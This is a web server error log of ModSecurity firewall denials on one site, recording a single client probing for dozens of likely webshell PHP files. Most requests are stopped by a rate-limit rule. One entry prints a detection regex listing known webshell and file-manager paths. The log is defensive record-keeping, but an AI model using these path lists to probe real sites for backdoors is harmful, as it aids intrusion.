[Sat Apr 18 21:08:25.578720 2026] [:error] [pid 9865:tid 9951] [client 4.223.172.220:12174] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "aeOCSazb5knECIY-C-iLwgAAAI4"]
[Sat Apr 18 21:08:26.704470 2026] [:error] [pid 13023:tid 13049] [client 4.223.172.220:42849] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "aeOCSv1e7hG8DAeABB8VbAAAARg"]
[Sat Apr 18 21:08:28.208113 2026] [:error] [pid 34288:tid 34308] [client 4.223.172.220:52712] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeOCTOTIiy__PtiLmpnW-QAAAZA"]
[Sat Apr 18 21:08:29.569410 2026] [:error] [pid 9970:tid 9994] [client 4.223.172.220:64607] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeOCTSYdRLRhVmaIMx2_qgAAANQ"]
[Sat Apr 18 21:08:30.738312 2026] [:error] [pid 9970:tid 9988] [client 4.223.172.220:64621] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeOCTiYdRLRhVmaIMx2_rgAAAM4"]
[Sat Apr 18 21:08:32.159853 2026] [:error] [pid 9970:tid 9977] [client 4.223.172.220:53983] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "aeOCUCYdRLRhVmaIMx2_tAAAAMM"]
[Sat Apr 18 21:08:32.991571 2026] [:error] [pid 32678:tid 32719] [client 4.223.172.220:52735] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "aeOCUBUlAXU_ZWUu5y_8NwAAAow"]
[Sat Apr 18 21:08:34.008553 2026] [:error] [pid 32678:tid 32707] [client 4.223.172.220:41213] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "aeOCUhUlAXU_ZWUu5y_8OQAAAoA"]
[Sat Apr 18 21:08:35.077158 2026] [:error] [pid 9970:tid 9994] [client 4.223.172.220:42825] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "aeOCUyYdRLRhVmaIMx2_ugAAANQ"]
[Sat Apr 18 21:08:36.204421 2026] [:error] [pid 34290:tid 34330] [client 4.223.172.220:64589] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "aeOCVBqX6WpmmAXOBi8ixgAAAcs"]
[Sat Apr 18 21:08:38.335905 2026] [:error] [pid 13023:tid 13044] [client 4.223.172.220:53994] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeOCVv1e7hG8DAeABB8VfgAAARM"]
[Sat Apr 18 21:08:40.083420 2026] [:error] [pid 32678:tid 32730] [client 4.223.172.220:43626] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeOCWBUlAXU_ZWUu5y_8QQAAApc"]
[Sat Apr 18 21:08:41.894896 2026] [:error] [pid 9970:tid 9980] [client 4.223.172.220:50802] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeOCWSYdRLRhVmaIMx2_xAAAAMY"]
[Sat Apr 18 21:08:44.694705 2026] [:error] [pid 34288:tid 34293] [client 4.223.172.220:43604] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeOCXOTIiy__PtiLmpnW-gAAAYE"]
[Sat Apr 18 21:08:55.520578 2026] [:error] [pid 34290:tid 34327] [client 4.223.172.220:43636] [client 4.223.172.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "aeOCZxqX6WpmmAXOBi8i0wAAAcg"]
[Sat Apr 18 21:09:06.289288 2026] [:error] [pid 9863:tid 9878] [client 4.223.172.220:12188] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeOCcjjjiypiFrTucbLRawAAAAU"]
[Sat Apr 18 21:09:09.407850 2026] [:error] [pid 9970:tid 9986] [client 4.223.172.220:48672] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeOCdSYdRLRhVmaIMx2_7AAAAMw"]
[Sat Apr 18 21:09:12.145367 2026] [:error] [pid 9864:tid 9926] [client 4.223.172.220:57733] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeOCeICFeowknfXHM7kkDQAAAFQ"]
[Sat Apr 18 21:09:16.040724 2026] [:error] [pid 34290:tid 34332] [client 4.223.172.220:53920] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeOCfBqX6WpmmAXOBi8i3wAAAc0"]
[Sat Apr 18 21:09:20.728503 2026] [:error] [pid 32647:tid 32654] [client 4.223.172.220:59679] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeOCgEkxooM0iRo6e54mLQAAAgQ"]
[Sat Apr 18 21:09:22.374141 2026] [:error] [pid 34290:tid 34342] [client 4.223.172.220:59653] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeOCghqX6WpmmAXOBi8i4wAAAdc"]
[Sat Apr 18 21:09:23.091665 2026] [:error] [pid 9865:tid 9946] [client 4.223.172.220:48668] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeOCg6zb5knECIY-C-iL1wAAAIk"]
[Sat Apr 18 21:09:24.240890 2026] [:error] [pid 32647:tid 32655] [client 4.223.172.220:11643] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeOChEkxooM0iRo6e54mNgAAAgU"]
[Sat Apr 18 21:09:25.892964 2026] [:error] [pid 9864:tid 9925] [client 4.223.172.220:11606] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeOChYCFeowknfXHM7kkGgAAAFM"]
[Sat Apr 18 21:09:27.717874 2026] [:error] [pid 34290:tid 34338] [client 4.223.172.220:48697] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeOChxqX6WpmmAXOBi8i5gAAAdM"]
[Sat Apr 18 21:09:28.876410 2026] [:error] [pid 34290:tid 34341] [client 4.223.172.220:53924] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeOCiBqX6WpmmAXOBi8i5wAAAdY"]
[Sat Apr 18 21:09:30.064100 2026] [:error] [pid 9865:tid 9937] [client 4.223.172.220:48680] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "aeOCiqzb5knECIY-C-iL2gAAAIA"]
[Sat Apr 18 21:09:31.087649 2026] [:error] [pid 32677:tid 32692] [client 4.223.172.220:11924] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "aeOCixngmUE3LdC-wP7ftQAAAkw"]
[Sat Apr 18 21:09:31.857321 2026] [:error] [pid 13023:tid 13045] [client 4.223.172.220:56524] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "aeOCi_1e7hG8DAeABB8VswAAARQ"]
[Sat Apr 18 21:09:32.734769 2026] [:error] [pid 32678:tid 32725] [client 4.223.172.220:11910] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "aeOCjBUlAXU_ZWUu5y_8XgAAApI"]
[Sat Apr 18 21:09:34.172682 2026] [:error] [pid 34290:tid 34337] [client 4.223.172.220:11963] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "aeOCjhqX6WpmmAXOBi8i6AAAAdI"]
[Sat Apr 18 21:09:35.703971 2026] [:error] [pid 34290:tid 34326] [client 4.223.172.220:59691] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "aeOCjxqX6WpmmAXOBi8i6wAAAcc"]
[Sat Apr 18 21:09:37.119133 2026] [:error] [pid 9865:tid 9945] [client 4.223.172.220:59690] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "aeOCkazb5knECIY-C-iL5QAAAIg"]
[Sat Apr 18 21:09:39.039563 2026] [:error] [pid 13023:tid 13032] [client 4.223.172.220:56530] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "aeOCk_1e7hG8DAeABB8VwgAAAQc"]
[Sat Apr 18 21:09:40.280769 2026] [:error] [pid 9865:tid 9957] [client 4.223.172.220:11937] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "aeOClKzb5knECIY-C-iL6QAAAJQ"]
[Sat Apr 18 21:09:41.290755 2026] [:error] [pid 34290:tid 34325] [client 4.223.172.220:11738] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeOClRqX6WpmmAXOBi8i8wAAAcY"]
[Sat Apr 18 21:09:42.709357 2026] [:error] [pid 9864:tid 9930] [client 4.223.172.220:56567] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeOCloCFeowknfXHM7kkJwAAAFg"]
[Sat Apr 18 21:09:43.926375 2026] [:error] [pid 32678:tid 32719] [client 4.223.172.220:59709] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeOClxUlAXU_ZWUu5y_8ZwAAAow"]
[Sat Apr 18 21:09:45.725829 2026] [:error] [pid 34290:tid 34322] [client 4.223.172.220:11908] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeOCmRqX6WpmmAXOBi8i-gAAAcM"]
[Sat Apr 18 21:09:48.365995 2026] [:error] [pid 32677:tid 32683] [client 4.223.172.220:11943] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeOCnBngmUE3LdC-wP7f1wAAAkM"]
[Sat Apr 18 21:09:51.512333 2026] [:error] [pid 9863:tid 9892] [client 4.223.172.220:57739] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeOCnzjjiypiFrTucbLRbgAAABM"]
[Sat Apr 18 21:09:52.155796 2026] [:error] [pid 9865:tid 9948] [client 4.223.172.220:48685] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeOCoKzb5knECIY-C-iL9gAAAIs"]
[Sat Apr 18 21:09:54.993771 2026] [:error] [pid 9865:tid 9952] [client 4.223.172.220:11624] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeOCoqzb5knECIY-C-iL9wAAAI8"]
[Sat Apr 18 21:09:59.033452 2026] [:error] [pid 9864:tid 9920] [client 4.223.172.220:11740] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "aeOCp4CFeowknfXHM7kkNwAAAE4"]
[Sat Apr 18 21:10:04.218429 2026] [:error] [pid 9970:tid 9986] [client 4.223.172.220:53362] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wglum1.php"] [unique_id "aeOCrCYdRLRhVmaIMx3AKwAAAMw"]
[Sat Apr 18 21:10:20.464094 2026] [:error] [pid 9865:tid 9958] [client 4.223.172.220:37025] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aeOCvKzb5knECIY-C-iMEgAAAJU"]
[Sat Apr 18 21:10:22.820023 2026] [:error] [pid 9865:tid 9950] [client 4.223.172.220:65176] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aeOCvqzb5knECIY-C-iMFgAAAI0"]
[Sat Apr 18 21:10:24.573018 2026] [:error] [pid 9865:tid 9949] [client 4.223.172.220:40526] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aeOCwKzb5knECIY-C-iMGQAAAIw"]
[Sat Apr 18 21:10:26.325978 2026] [:error] [pid 13023:tid 13038] [client 4.223.172.220:40532] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aeOCwv1e7hG8DAeABB8WGgAAAQ0"]
[Sat Apr 18 21:10:27.171359 2026] [:error] [pid 9970:tid 9977] [client 4.223.172.220:55200] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aeOCwyYdRLRhVmaIMx3ANwAAAMM"]
[Sat Apr 18 21:10:28.256681 2026] [:error] [pid 13023:tid 13025] [client 4.223.172.220:50005] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aeOCxP1e7hG8DAeABB8WJAAAAQA"]
[Sat Apr 18 21:10:29.796538 2026] [:error] [pid 13023:tid 13045] [client 4.223.172.220:45049] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aeOCxf1e7hG8DAeABB8WLwAAARQ"]
[Sat Apr 18 21:10:30.654187 2026] [:error] [pid 13023:tid 13041] [client 4.223.172.220:49392] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aeOCxv1e7hG8DAeABB8WNQAAARA"]
[Sat Apr 18 21:10:31.496347 2026] [:error] [pid 13023:tid 13038] [client 4.223.172.220:41789] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/view.php"] [unique_id "aeOCx_1e7hG8DAeABB8WOQAAAQ0"]
[Sat Apr 18 21:10:33.135111 2026] [:error] [pid 9970:tid 9995] [client 4.223.172.220:50018] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/view.php"] [unique_id "aeOCySYdRLRhVmaIMx3AQAAAANU"]
